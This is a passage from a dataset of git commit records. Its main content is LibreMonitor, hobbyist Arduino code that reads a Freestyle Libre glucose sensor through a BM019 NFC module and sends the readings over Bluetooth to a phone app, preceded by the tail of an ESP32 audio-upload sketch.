client.write(\"data\",4);\t\t\t\t\t\/\/\t\"data\"\t\t\t\t\t->[40]\r\n i = snd_size + 44 - 126;\t\t\t\t\/\/ \u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba-126\r\n client.write(i & 0xFF);\t\t\t\t\t\/\/ \u30b5\u30a4\u30ba\u30fb\u6700\u4e0b\u4f4d\u30d0\u30a4\u30c8\t \t->[41]\r\n client.write((i>>8) & 0xFF);\t\t\t\/\/ \u30b5\u30a4\u30ba\u30fb\u6700\u4e0b\u4f4d\u30d0\u30a4\u30c8\t \t->[42]\r\n client.write(\"\\0\\0\",2);\t\t\t\t\t\/\/ \u30b5\u30a4\u30ba3-4\r\n len=0; t=0; \/\/ \u5909\u6570len\u3068t\u3092\u518d\u5229\u7528\r\n for(i=0;i<snd_size;i++) client.write(snd[i]);\r\n client.flush(); \/\/ ESP32\u7528 ERR_CONNECTION_RESET\u5bfe\u7b56\r\n client.stop(); \/\/ \u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u5207\u65ad\r\n Serial.print(snd_size+44); \/\/ \u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba\u3092\u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n Serial.println(\" Bytes\"); \/\/ \u30b7\u30ea\u30a2\u30eb\u51fa\u529b\u8868\u793a\r\n sleep(); \/\/ sleep()\u3078\r\n}\r\n\r\nvoid sleep(){\r\n Serial.println(\"Bye\"); \/\/ \u7d42\u4e86\u8868\u793a\r\n delay(200); \/\/ \u9001\u4fe1\u5f85\u3061\u6642\u9593\r\n esp_sleep_enable_ext0_wakeup(PIN_WAKE,0); \/\/ 1=High, 0=Low\r\n \/\/ \u30bb\u30f3\u30b5\u306e\u72b6\u614b\u304c\u5909\u5316\u3059\u308b\u3068\r\n \/\/ \u30b9\u30ea\u30fc\u30d7\u3092\u89e3\u9664\u3059\u308b\u3088\u3046\u306b\u8a2d\u5b9a\r\n esp_deep_sleep_start(); \/\/ Deep Sleep\u30e2\u30fc\u30c9\u3078\u79fb\u884c\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2_example\/example65_mic\/example65_mic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"50cb61c25516623a55797dd042f910d3b817d03d","subject":"Added .ino-file","message":"Added .ino-file","repos":"UPetersen\/LibreMonitor,UPetersen\/LibreMonitor,UPetersen\/LibreMonitor,UPetersen\/LibreMonitor","old_file":"LibreMonitor.ino","new_file":"LibreMonitor.ino","new_contents":"\/\/\/\n\/\/\/ LibreMonitor\n\/\/\/ \n\/\/\/ Copyright (c) 2015 Uwe Petersen, all right reserved\n\/\/\/\n\/\/\/ Wiring connections:\n\/\/\/\n\/\/\/ BM019 RFDuino\/Simblee\n\/\/\/ DIN: pin 2 IRQ: GPIO pin 2\n\/\/\/ SS: pin 3 SS: GPIO pin 3\n\/\/\/ MISO: pin 4 MISO: GPIO pin 4\n\/\/\/ MOSI: pin 5 MOSI: GPIO pin 5\n\/\/\/ SCK: pin 6 SCK: GPIO pin 6\n\/\/\/ SS0: pin 7 +3V-pin\n\/\/\/ GND: pin 10 GND-pin\n\/\/\/\n\/\/\/ BM019 BM019\n\/\/\/ SS0: pin 7 VDD: pin 8 (Output 3,3V from BM019)\n\/\/\/ \n\/\/\/ BM019 Lipo Power source (I use a 100mAh lip which lasts a full day\n\/\/\/ VIN: pin 9 \"+\" of lipo \/ lipo charger\n\/\/\/ GND: pin 10 GND\/\"-\" of lipo \/ lipo charger\n\/\/\/\n\/\/\/ You can place a switch between GND of lipo\/lipo-charger and GND of the BM019 \n\/\/\/\n\/\/\/ If wired as suggested above, then you have to change the Simblee SPI pins for SS, MOSI, MISO and SCK. \n\/\/\/ This is done in the variant.h file. In my case this file is located in\n\/\/\/\n\/\/\/ \/Users\/[my user name]\/Library\/Arduino15\/packages\/Simblee\/hardware\/Simblee\/1.0.0\/variants\/Simblee\n\/\/\/\n\/\/\/ In this file set the defines for the SPI pins as follows:\n\/\/\/\n\/\/\/ #define PIN_SPI_SS (3u)\n\/\/\/ #define PIN_SPI_MOSI (5u)\n\/\/\/ #define PIN_SPI_MISO (4u)\n\/\/\/ #define PIN_SPI_SCK (6u)\n\/\/\/\n\/\/\/\n\/\/\/ Acknowledgements:\n\/\/\/\n\/\/\/ RFDuinoUBP\n\/\/\/\n\/\/\/ This code uses portions of RFduinoUB, which can be retrieved from \n\/\/\/ https:\/\/github.com\/cconway\/RFduinoUBP under the following license:\n\/\/\/ The MIT License (MIT)\n\/\/\/ Copyright (c) 2015 cconway\n\/\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/\/ in the Software without restriction, including without limitation the rights\n\/\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/\/ furnished to do so, subject to the following conditions:\n\/\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/\/ copies or substantial portions of the Software.\n\/\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/\/ SOFTWARE.\n\/\/\/\n\/\/\/ Solutions Cubed LLC \n\/\/\/\n\/\/\/ The author is grateful to Solutions Cubed LLC, see http:\/\/www.solutions-cubed.com, \n\/\/\/ for providing helpful code samples for their BM019 nfc module, portions of which are \n\/\/\/ used within this code. \n\/\/\/\n\n\/\/ Include application, user and local libraries\n#include <SimbleeBLE.h>\n#include <SimbleeForMobile.h>\n#include <SPI.h> \/\/ the sensor communicates using SPI, so include the library\n\/\/ This code uses the SLIP protocol to transer the data via bluetooth, see https:\/\/github.com\/cconway\/RFduinoUBP\n#include <constants.h>\n#include <crc8.h>\n#include <data_types.h>\n#include <libUBP.h>\n#include <SPIstuff.h>\n\n\n\/\/ Define variables and constants\n\n\/* CR95HF Commands *\/\n#define IDN 0x01 \/\/ identification number of CR95HF\n#define SELECT_PROTOCOL 0x02 \/\/ select protocol\n#define POLL 0x03 \/\/ poll\n#define SENDRECEIVE 0x04 \/\/ send and receive data (most commonly used)\n#define READ 0x05 \/\/ read values from registers internal to CR95HF\n#define WRITE 0x06 \/\/ write values to registers internal to CR95HF\n#define ECHO 0x55\n\n\/\/ send receive commands for ISO\/IEC 15693 protocol\n#define INVENTORY 0x01 \/\/ receives information about tags in range\n#define STAY_QUIET 0x02 \/\/ selected unit will not send back a response\n#define READ_BLOCK 0x20 \/\/ read single block of memory from RF tag\n#define WRITE_BLOCK 0x21 \/\/ write single block to memory of RF tag\n#define LOCK_BLOCK 0x22 \/\/ permanently locks a block of memory on RF tag\n#define READ_BLOCKS 0x23 \/\/ reads multiple blocks of memory from RF tag\n#define WRITE_BLOCKS 0x24 \/\/ writes multiple blocks of memory to RF tag\n#define SELECT 0x25 \/\/ used to select a specific tag for communication via the uid\n#define RESET_TO_READY 0x26 \/\/ resets RF tag to ready state\n#define WRITE_AFI 0x27 \/\/ writes application family identifier to RF tag\n#define LOCK_AFI 0x28 \/\/ permanently locks application family identifier\n#define WRITE_DSFID 0x29 \/\/ writes data storage format identifier to RF tag\n#define LOCK_DSFID 0x2A \/\/ permanentlylocks data storage format identifier\n#define GET_SYSTEM_INFORMATION 0x2B \/\/ gets information from RF tag that includes memory\n\/\/ block size in bytes and number of memory blocks\n#define GET_BLOCKS_SECURITY_STATUS 0x2C\n\n\/\/ Request flag with bits set these rules:\n\/\/ Bit Flag name Description\n\/\/ 1 Sub-carrier flag 0 ... single sub-carrier used\n\/\/ 1 ... two sub-carriers used\n\/\/ 2 Data rate flag 0 ... low data rate is used\n\/\/ 1 ... high data rate is used\n\/\/ 3 Inventory flag State determines how bits 5-8 are defined\n\/\/ 0 ... flag not set\n\/\/ 1 ... flag set\n\/\/ 4 Protocol 0: no protocol extension\n\/\/ extension flag 1: protocol format is extended\n\/\/ If Inventory flag = 0 (not set):\n\/\/ 5 Select flag 0: request shall be executed based on setting of the address flag\n\/\/ 1: request shall be executed only by devices in the selected state\n\/\/ 6 Address flag 0: request is not addressed\n\/\/ 1: request is addressed, optional UID field is present\n\/\/ 7 Option flag Meaning is defined by the command description, if not used set to 0\n\/\/ 8 reserved\n\/\/ If Inventory flag = 1 (set):\n\/\/ 5 AFI flag 0: AFI field is not present\n\/\/ 1: AFI field is present\n\/\/ 6 Number of 0: 16 slots\n\/\/ slots flag 1: 1 slot\n\/\/ 7 Option flag Meaning is defined by the command description, if not used set to 0\n\/\/ 8 reserved\n\/\/\n\/\/ Helper bit field by to quickly calculate integers from hex and vice versa:\n\/\/ Bit no.: 8 7 6 5 4 3 2 1\n\/\/ value: 128 64 32 16 8 4 2 1\n\/\/ choose: 0 0 0 0 4 0 2 1 result is 0x03\n\/\/\n\/\/ request flags byte, 0x26 means:\n\/\/ single sub carrier, high data rate, inventory flag set, no protocoll extentsion, AFI not present, one slot)\n\n\n\/\/ Settings\n\n\/\/#define DEBUG\n\nconst int SS_PIN = 3; \/\/ Slave Select pin, changed to new value on 2016-03-21\nconst int IRQ_PIN = 2; \/\/ IRQ\/DIN pin used for wake-up pulse\nbyte RXBuffer[400]; \/\/ receive buffer\nbyte dataBuffer[400]; \/\/ buffer for Freestyle Libre byte data\nbyte NFCReady = 0; \/\/ used to track NFC state\nconst int SPI_FREQUENCY = 2000; \/\/ max. for CR95HF is 2000 = 2 MHz\n\/\/const uint64_t SLEEP_DURATION = 20000; \/\/ Duration of Simblee ultra low power mode in ms\nconst uint64_t SLEEP_DURATION = 120000; \/\/ Duration of Simblee ultra low power mode in ms\n\n\/\/ Code\n\nvoid setupPins() {\n Serial.println(\"Setting Simblee pins ...\");\n pinMode(IRQ_PIN, OUTPUT);\n pinMode(SS_PIN, OUTPUT);\n \/\/ Commented out by Uwi on 15.11.2015: was not needed obviously\n \/\/ digitalWrite(SS_PIN, HIGH);\n Serial.println(\"... done setting Simblee pins.\");\n}\n\nvoid setupSPI() {\n Serial.println(\"Setting up SPI ...\");\n SPI.begin();\n SPI.setDataMode(SPI_MODE0);\n SPI.setBitOrder(MSBFIRST);\n SPI.setFrequency(SPI_FREQUENCY);\n Serial.println(\"... done setting up SPI.\");\n}\n\/\/ --------------------------\n\nvoid setupBluetoothConnection() {\n Serial.println(\"Setup Bluetooth stack and start connection...\");\n SimbleeBLE.deviceName = \"LibreCGM\";\n SimbleeBLE.customUUID = \"2220\";\n SimbleeBLE.advertisementData = \"data\";\n SimbleeBLE.advertisementInterval = MILLISECONDS(500); \/\/ Default was 300\n SimbleeBLE.txPowerLevel = 4; \/\/ Possible values: -20, -16, -12, -8, -4, 0 or +4 (dbM) \/\/ up to 20016-05-17 this was 0\n \/\/ SimbleeBLE.txPowerLevel = -4; \/\/ Possible values: -20, -16, -12, -8, -4, 0 or +4 (dbM) \/\/ up to 20016-05-17 this was 0\n SimbleeBLE.begin(); \/\/ Start the BLE stack\n Serial.println(\"... done seting up Bluetooth stack and starting connection.\");\n}\n\n\/\/ Add setup code\nvoid setup() {\n Serial.begin(9600);\n setupPins(); \/\/ set RFduino\/Simblee pins\n setupSPI();\n\n Serial.println(\"Please provide power to the BM019 within the next 5 seconds ...\");\n delay(5000);\n\n sendWakeupPulse(IRQ_PIN); \/\/ wake up BM019 and set to SPI (since SS_0 is wired up to be HIGH)\n readWakeUPEventRegister(SS_PIN, RXBuffer);\n setupBluetoothConnection();\n}\n\n\n\n\/\/ SetProtocol_Command programs the CR95HF for ISO\/IEC 15693 operation.\n\/\/ If the correct response is received the serial monitor is used to display successful programming.\n\/\/ Warning: if the parameters of the protocol are changed, e.g. sub carrier, then the request flags\n\/\/ of the other commands (e.g. inventory, read single block) have to be changed accordingly.\nvoid SetProtocol_Command() {\n\n \/\/ step 1 send the command\n digitalWrite(SS_PIN, LOW);\n SPI.transfer(0x00); \/\/ SPI control byte to send command to CR95HF\n SPI.transfer(0x02); \/\/ Set protocol command\n SPI.transfer(0x02); \/\/ length of data to follow\n SPI.transfer(0x01); \/\/ code for ISO\/IEC 15693\n SPI.transfer(0x0F); \/\/ Up till 2016-06-13: crc16, single, 30%, wait for SOF (wrong: Wait for SOF, 100% modulation, append CRC)\n \/\/ SPI.transfer(0x0D); \/\/ Up till 2016-06-13: crc16, single, 30%, wait for SOF (wrong: Wait for SOF, 100% modulation, append CRC)\n digitalWrite(SS_PIN, HIGH);\n delay(1);\n\n \/\/ step 2, poll for data ready\n pollSPIUntilResponsIsReady(SS_PIN, RXBuffer);\n\n \/\/ step 3, read the data\n receiveSPIResponse(SS_PIN, RXBuffer);\n#ifdef DEBUG\n Serial.println(\"RXBuffer is\");\n for (byte i = 0; i < 2; i++) {\n Serial.print(RXBuffer[i], HEX);\n Serial.print(\" \");\n }\n#endif\n if ((RXBuffer[0] == 0) & (RXBuffer[1] == 0)) {\n Serial.println(\"PROTOCOL SET-\"); \/\/\n NFCReady = 1; \/\/ NFC is ready\n } else {\n Serial.println(\"BAD RESPONSE TO SET PROTOCOL\");\n NFCReady = 0; \/\/ NFC not ready\n }\n Serial.println(\" \");\n}\n\n\/\/ Reads the single block of 8 bytes with number blockNum from the BM019.\n\/\/ The BM019 has 244 Blocks of 8 bytes that can be read via ISO 15693 commands. The blocks are numbered 0 to 243.\n\/\/ Returns the result code of the command response (that indicates wether there was success or an error)\nbyte ReadSingleBlockReturn(int blockNum) {\n\n RXBuffer[0] = SENDRECEIVE; \/\/ command code for send receive CR95HF command\n RXBuffer[1] = 0x03; \/\/ length of data that follows (3 bytes)\n \/\/ RXBuffer[2] = 0x02; \/\/ request Flags byte, single carrier, high data rate\n RXBuffer[2] = 0x03; \/\/ request Flags byte dual carrier, high data rate\n RXBuffer[3] = 0x20; \/\/ Inventory Command for ISO\/IEC 15693\n RXBuffer[4] = blockNum; \/\/ Block number\n\n \/\/ step 1 send the command\n sendSPICommand(SS_PIN, RXBuffer, 5);\n\n \/\/ step 2, poll for data ready\n pollSPIUntilResponsIsReady(SS_PIN, RXBuffer);\n\n \/\/ step 3, read the data\n receiveSPIResponse(SS_PIN, RXBuffer);\n\n delay(1);\n#ifdef DEBUG\n \/\/ Print to Serial\n if (RXBuffer[0] == 128) {\n Serial.printf(\"The block #%d:\", blockNum);\n for (byte i = 3; i < RXBuffer[1] + 3 - 4; i++) {\n Serial.print(RXBuffer[i], HEX);\n Serial.print(\" \");\n }\n } else {\n Serial.print(\"NO Single block available - \");\n Serial.print(\"RESPONSE CODE: \");\n Serial.println(RXBuffer[0], HEX);\n }\n Serial.println(\" \");\n#endif\n\n return RXBuffer[0]; \/\/ result code of command response\n}\n\n\n\n\/\/\/ @brief Sends command to BM019 and receives response serveral times until response with no error, max maxTrial times.\n\/\/\/ @detail After maxTrials trials the last response is returned, even if there is still an error.\n\/\/\/ @detail Warning: Ensure that RXBuffer has appropriate size.\n\/\/\/ @param ssPin slave select pin for SPI digital write\n\/\/\/ @param RXBuffer buffer used for command and response\n\/\/\/ @param maxTrials max number of trials\nvoid runSPICommandUntilNoError(int ssPin, byte *command, int length, byte *RXBuffer, int maxTrials) {\n\n int count = 0;\n bool success;\n do {\n delay(1);\n#ifdef DEBUG\n Serial.printf(\"Before: Count: %d, success: %b, RXBuffer[0]: %x \\r\\n\", count, success, RXBuffer[0]);\n#endif\n count++;\n\n \/\/ clear RXBuffer with zeros\n memset(RXBuffer, 0, sizeof(RXBuffer));\n\n \/\/ run SPI command\n sendPollReceiveSPINew(ssPin, command, sizeof(command), RXBuffer);\n success = responseHasNoError(RXBuffer);\n\n#ifdef DEBUG\n Serial.printf(\"After: Count: %d, success: %b, RXBuffer[0]: %x \\r\\n\", count, success, RXBuffer[0]);\n#endif\n\n } while ( !success && (count < maxTrials));\n delay(1);\n#ifdef DEBUG\n Serial.printf(\"Exiting at count: %d, RXBuffer[0]: %x \\r\\n\", count, RXBuffer[0]);\n#endif\n}\n\n\/\/\/ @brief Sends IDN command to BM019 and receives response serveral times until response with no error, max maxTrial times.\n\/\/\/ @detail After maxTrials trials the last response is returned, even if there is still an error.\n\/\/\/ @detail Warning: Ensure that RXBuffer has appropriate size.\n\/\/\/ @param ssPin slave select pin for SPI digital write\n\/\/\/ @param RXBuffer buffer used for command and response\n\/\/\/ @param maxTrials max number of trials\nvoid runIDNCommandUntilNoError(int ssPin, byte *command, int length, byte *RXBuffer, int maxTrials) {\n\n int count = 0;\n bool success;\n do {\n\n#ifdef DEBUG\n Serial.printf(\"Before: Count: %d, success: %b, RXBuffer[0]: %x \\r\\n\", count, success, RXBuffer[0]);\n#endif\n count++;\n\n \/\/ clear RXBuffer with zeros\n memset(RXBuffer, 0, sizeof(RXBuffer));\n\n \/\/ run SPI command\n sendPollReceiveSPINew(ssPin, command, sizeof(command), RXBuffer);\n success = idnResponseHasNoError(RXBuffer);\n\n#ifdef DEBUG\n Serial.printf(\"After: Count: %d, success: %b, RXBuffer[0]: %x \\r\\n\", count, success, RXBuffer[0]);\n#endif\n } while ( !success && (count < maxTrials));\n delay(10);\n#ifdef DEBUG\n Serial.printf(\"Exiting at count: %d, RXBuffer[0]: %x \\r\\n\", count, RXBuffer[0]);\n#endif\n}\n\n\n\/\/\/ Runs the system information command several times, i.e. maxTrials times or until a response with no error is gotten, whatever happens first.\n\/\/\/ @param ssPin SS_PIN used for SPI\n\/\/\/ @param RXBuffer buffer used for send and receive\n\/\/\/ @param maxTrials maximum number of trials. If reached, the result is returned, even if there still is an error present\n\/\/\/ @brief Get system information from BM019\n\/\/\/ @details The response is read into RXBuffer and that's it, no matter if there is an error or not.\n\/\/\/ @n Command format for CR95HF:\n\/\/\/ @n 8 bits for request flags,\n\/\/\/ @n 8 bits for the get system information command,i.e 0x2B,\n\/\/\/ @n 64 bits for an optional UID (not used in non-addressed modes).\n\/\/\/ @details Example get system info command (CR95HF command embedded in BM019 command):\n\/\/\/ @details 0x04 ... BM019 send\/receive command code\n\/\/\/ @details 0x02 ... BM019 length of CR95HF command data that follows\n\/\/\/ @details 0x02 ... CR95HF request flags byte (high data rate used)\n\/\/\/ @details 0x2B ... CR95HF get system information command\n\/\/\/ @n\n\/\/\/ @n\n\/\/\/ @details Example CR95HF response with no error:\n\/\/\/ @details 0x80 ... result code\n\/\/\/ @details 0x12 ... length of following data (12 bytes)\n\/\/\/ @details 0x00 ... response flags\n\/\/\/ @details 0x0F ... info flags\n\/\/\/ @details 0x69 0x55 0x19 0x38 0x42 0x20 0x02 0xE0 ... data: UID\n\/\/\/ @details 0x00 ... DSFID (supported and field is present in response if bit 1 of info flags is set)\n\/\/\/ @details 0x00 ... AFI (supported and field is present in response if bit 2 of info flags is set)\n\/\/\/ @details 0x3F 0X03 ... memory size (supported and field is present in response if bit 3 of info flags is set)\n\/\/\/ @details 0x20 ... IC Ref (supported and field is present in response if bit 4 of info flags is set)\n\/\/\/ @details 0xB4 0xA9 ... CRC16\n\/\/\/ @details 0x00 ... error\n\/\/\/ @n\n\/\/\/ @details Example CR95HF response with error (bit 0 of response flag is set)\n\/\/\/ @details 0x01 ... response flags\n\/\/\/ @details 0x01 ... error code (returned when error bit is set)\n\/\/\/ @details 0xB4 0xA9 ... CRC16\n\/\/\/ @details 0X01 ... (error CRC16 or collision error bits)\nvoid runSystemInformationCommandUntilNoError(int ssPin, byte *RXBuffer, int maxTrials) {\n#ifdef DEBUG\n Serial.printf(\"ssPin: %d, maxTrials: %d, RXBuffer[0]: %x \\r\\n\", ssPin, maxTrials, RXBuffer[0]);\n#endif\n byte command[4];\n command[0] = 0x04; \/\/ command code for send receive CR95HF command\n command[1] = 0x02; \/\/ length of data that follows (3 bytes)\n command[2] = 0x03; \/\/ request Flags byte, dual sub carrier\n \/\/ command[2] = 0x02; \/\/ request Flags byte, single sub carrier\n command[3] = 0x2B; \/\/ get system information command for ISO\/IEC 15693\n delay(10);\n#ifdef DEBUG\n Serial.printf(\"ssPin: %d, maxTrials: %d, RXBuffer[0]: %x \\r\\n\", ssPin, maxTrials, RXBuffer[0]);\n#endif\n \/\/ run command until no error, but only max 10 times\n runSPICommandUntilNoError(ssPin, command, sizeof(command), RXBuffer, maxTrials);\n}\n\n\/\/\/ Runs the inventory command several times, i.e. maxTrials times or until a response with no error is gotten, whatever happens first.\n\/\/\/ @param ssPin SS_PIN used for SPI\n\/\/\/ @param RXBuffer buffer used for send and receive\n\/\/\/ @param maxTrials maximum number of trials. If reached, the result is returned, even if there still is an error present\nvoid runIDNCommand(int ssPin, byte *RXBuffer, int maxTrials) {\n\n#ifdef DEBUG\n Serial.printf(\"ssPin: %d, maxTrials: %d, RXBuffer[0]: %x \\r\\n\", ssPin, maxTrials, RXBuffer[0]);\n#endif\n\n byte command[2];\n command[0] = 0x01; \/\/ command code for send receive CR95HF command\n command[1] = 0x00; \/\/ length of data that follows (0 bytes)\n delay(10);\n\n#ifdef DEBUG\n Serial.printf(\"ssPin: %d, maxTrials: %d, RXBuffer[0]: %x \\r\\n\", ssPin, maxTrials, RXBuffer[0]);\n#endif\n \/\/ run command until no error, but only max 10 times\n runIDNCommandUntilNoError(ssPin, command, sizeof(command), RXBuffer, maxTrials);\n}\n\n\n\/\/Example response of CR95HF for inventory command and data positions\/indices\n\/\/+------+--------+----------------------------------------------------------------------+\n\/\/|Result| Length | Data |\n\/\/| code | +--------+-----+---------------------------------------+---------+-----+\n\/\/| | |Response| | | | |\n\/\/| | | flags |DSFID| UID |CRC16 |Error|\n\/\/+------+--------+--------+---------------------------------------------+---------+-----+\n\/\/| 0x80 |0x0D(13)| 0x00 |0x00 |0x51 0x69 0x19 0x38 0x42 0x20 0x02 0xE0|0x84 0x28|0x00 |\n\/\/+------+--------+--------+-----+---------------------------------------+---------+-----+\n\/\/| 0 | 1 | 2 | 3 | 4 5 6 7 8 9 10 11 | 12 13 | 14 |\n\/\/+------+--------+--------+-----+---------------------------------------+---------+-----+\n\/\/ 0 1 2 3 4 5 6 7 8 9 10 11 12\n\/\/\n\n\/\/\/ Retreive idn data from RXBuffer from IDN command\n\/\/\/ This ist the struct later to be transmitted via bluetooth\n\/\/\/ @detail There is no error possible in the response since this is just pure device information and thus not rely on RFID and a tag in the field\n\/\/\/ @param RXBuffer buffer containing the response from the IDN command\n\/\/\/ @param idnType struct with retreived data\nIDNDataType idnDataFromIDNResponse(byte *RXBuffer) {\n\n IDNDataType idnData;\n idnData.resultCode = RXBuffer[0];\n\n \/\/ Device ID has 13 bytes\n for (int i = 0; i < 13; i++) {\n idnData.deviceID[i] = RXBuffer[i + 2]; \/\/ TODO: cchek and continue here\n }\n\n \/\/ ROM CRC are the last two bytes of the data\n int length = RXBuffer[2];\n idnData.romCRC[0] = RXBuffer[length - 2];\n idnData.romCRC[1] = RXBuffer[length - 1];\n\n return idnData;\n}\n\n\n\n\/\/\/ Retreive system information from RXBuffer from system information command\n\/\/\/ This ist the struct later to be transmitted via bluetooth\n\/\/\/ @param RXBuffer buffer containing the response from the system information command\n\/\/\/ @param SystemInformationType struct with retreived data\nSystemInformationDataType systemInformationDataFromGetSystemInformationResponse(byte *RXBuffer) {\n \/\/ SystemInformationType retreiveSystemInformationValues(byte *RXBuffer) {\n\n SystemInformationDataType systemInformationData;\n\n systemInformationData.resultCode = RXBuffer[0];\n systemInformationData.responseFlags = RXBuffer[2];\n\n \/\/ check for no error in result code and handle accordingly\n if (systemInformationData.resultCode == 0x80) { \/\/ no error in result code\n\n \/\/ check for no error in response flags\n if ((systemInformationData.responseFlags & 0x01) == 0) {\n \/\/ no error in response flags\n systemInformationData.infoFlags = RXBuffer[3];\n for (int i = 0; i < 8; i++) {\n systemInformationData.uid[i] = RXBuffer[11 - i];\n }\n systemInformationData.errorCode = RXBuffer[RXBuffer[1] + 2 - 1];\n } else {\n \/\/ error case\n systemInformationData.errorCode = RXBuffer[3];\n }\n } else {\n \/\/ error case\n clearBuffer(systemInformationData.uid);\n systemInformationData.errorCode = RXBuffer[3];\n }\n return systemInformationData;\n}\n\n\n\/\/\/ Sends a packet of data (c-struct) via bluetooth to a smartphone application\n\/\/\/ @detail Any packet to be transfered is a c-struct. These structs are defined in data_types.h.\n\/\/\/ @param packetIdentifier identifier that can be used to treat a packet separately in the app. Identifiers are defined in constants.h\n\/\/\/ @param txFlags don't know yet, what these are fore\n\/\/\/ @param *packetBytes pointer on the c-struct, that is the packet\n\/\/\/ @param byteCount number of bytes to be transfered\nbool pumpViaBluetooth(unsigned short packetIdentifier, UBP_TxFlags txFlags, const char *packetBytes, unsigned short byteCount) {\n\n bool success = UBP_queuePacketTransmission(packetIdentifier, txFlags, packetBytes, byteCount);\n\n delay(1);\n#ifdef DEBUG\n if (success) Serial.println(\"Packet queued successfully\");\n else Serial.println(\"Failed to enqueue packet\");\n#endif\n \/\/ put your main code here, to run repeatedly:\n while (UBP_isBusy() == true) UBP_pump();\n}\n\n\/\/\/ Returns the voltage on the RFDuino VDD pin as a float in Volts.\n\/\/\/ Code is from the RFDuino Forum, see http:\/\/forum.rfduino.com\/index.php?topic=265.0 for details\nfloat voltageOnVDD() {\n analogReference(VBG); \/\/ Sets the Reference to 1.2V band gap\n analogSelection(VDD_1_3_PS); \/\/ Selects VDD with 1\/3 prescaling as the analog source\n int sensorValue = analogRead(1); \/\/ the pin has no meaning, it uses VDD pin\n return sensorValue * (3.6 \/ 1023.0); \/\/ convert value to voltage;\n}\n\n\/\/\/ Print all data of systemInformationData to serial console\nvoid printSystemInformationData(SystemInformationDataType systemInformationData) {\n\n Serial.println(\"Printing system information data to serial output:\");\n\n Serial.printf(\"Result code: %x\\r\\n\", systemInformationData.resultCode);\n Serial.printf(\"Response flags: %x\\r\\n\", systemInformationData.responseFlags);\n\n Serial.printf(\"uid: %x\", systemInformationData.uid[0]);\n for (int i = 1; i < 8; i++) {\n Serial.printf(\":%x\", systemInformationData.uid[i]);\n }\n Serial.println(\"\");\n\n Serial.printf(\"Error code: %x\\r\\n\", systemInformationData.errorCode);\n}\n\n\/\/\/===================================================================================================\n\/\/ The loop\n\/\/\/===================================================================================================\n\nvoid loop() {\n\n#ifdef DEBUG\n Serial.println(\"In the loop\");\n#endif\n\n \/\/ Start up BM019 if not yet started\n if (NFCReady == 0) {\n\n delay(100);\n SetProtocol_Command(); \/\/ ISO 15693 settings\n Serial.println(\"After SetProtocoll_Command()\");\n delay(100);\n\n } else {\n\n\n \/\/ ------- Read system information from BM019 ----------------------------------------------------------------------------\n \/\/#ifdef DEBUG\n Serial.println(\"Get system information command ...\");\n \/\/#endif\n runSystemInformationCommandUntilNoError(SS_PIN, RXBuffer, 10);\n\n#ifdef DEBUG\n Serial.println(\"... retreive system information ...\");\n#endif\n SystemInformationDataType systemInformationData = systemInformationDataFromGetSystemInformationResponse(RXBuffer);\n\n\n\n \/\/------- Read IDN information from BM019 (IDN Command) -------------------------------------------------------------------\n\n \/\/#ifdef DEBUG\n Serial.println(\"IDN command ...\");\n \/\/#endif\n runIDNCommand(SS_PIN, RXBuffer, 10);\n#ifdef DEBUG\n Serial.println(\"... retreive IDN information ...\");\n#endif\n IDNDataType idnData = idnDataFromIDNResponse(RXBuffer);\n\n\n\n \/\/ ----------- Read 43 data blocks into RXBuffer ---------------\n\n \/\/#ifdef DEBUG\n Serial.println(\"Read all data\");\n \/\/#endif\n\n for (int i = 0; i < sizeof(RXBuffer); i++) {\n RXBuffer[i] = 0;\n }\n for (int i = 0; i < sizeof(dataBuffer); i++) {\n dataBuffer[i] = 0;\n }\n\n byte resultCode = 0;\n int trials = 0;\n int maxTrials = 10;\n for (int i = 0; i < 43; i++) { \/\/ Need only 43 of 244 blocks\n resultCode = ReadSingleBlockReturn(i);\n\n#ifdef DEBUG\n printf(\"resultCode 0x%x\\n\\r\", resultCode);\n#endif\n if (resultCode != 0x80 && trials < maxTrials) {\n printf(\"Error 0x%x\\n\\r\", resultCode);\n i--; \/\/ repeat same block if error occured, but\n trials++; \/\/ not more than maxTrials times per block\n } else if (trials >= maxTrials) {\n break;\n } else {\n trials = 0;\n\n for (int j = 3; j < RXBuffer[1] + 3 - 4; j++) {\n dataBuffer[i * 8 + j - 3] = RXBuffer[j];\n#ifdef DEBUG\n Serial.print(RXBuffer[j], HEX);\n Serial.print(\" \");\n#endif\n }\n }\n }\n\n \/\/ ----------- All data collected, send BM019 to hibernate -------------------------\n\n \/\/#ifdef DEBUG\n Serial.println(\"Sending CR95HF to hibernate ...\");\n \/\/#endif\n sendCR95HFToHibernate(SS_PIN);\n\n\n\n \/\/ ------- Transmit system information data via bluetooth. By convention this is the first transmission -----------------\n\n bool ergo = pumpViaBluetooth(SYSTEM_INFORMATION_DATA, UBP_TxFlagIsRPC, (char *) &systemInformationData, sizeof(SystemInformationDataType));\n#ifdef DEBUG\n printSystemInformationData(systemInformationData);\n#endif\n\n\n\n \/\/-------- transmit dataBuffer via bluetooth ---------------------------------------------------------\n\n AllBytesDataType allBytes;\n#ifdef DEBUG\n Serial.println(\"----about to send all data bytes packet\");\n#endif\n for (int i = 0; i < sizeof(allBytes.allBytes); i++) {\n allBytes.allBytes[i] = 0;\n }\n for (int i = 0; i < 344; i++) {\n 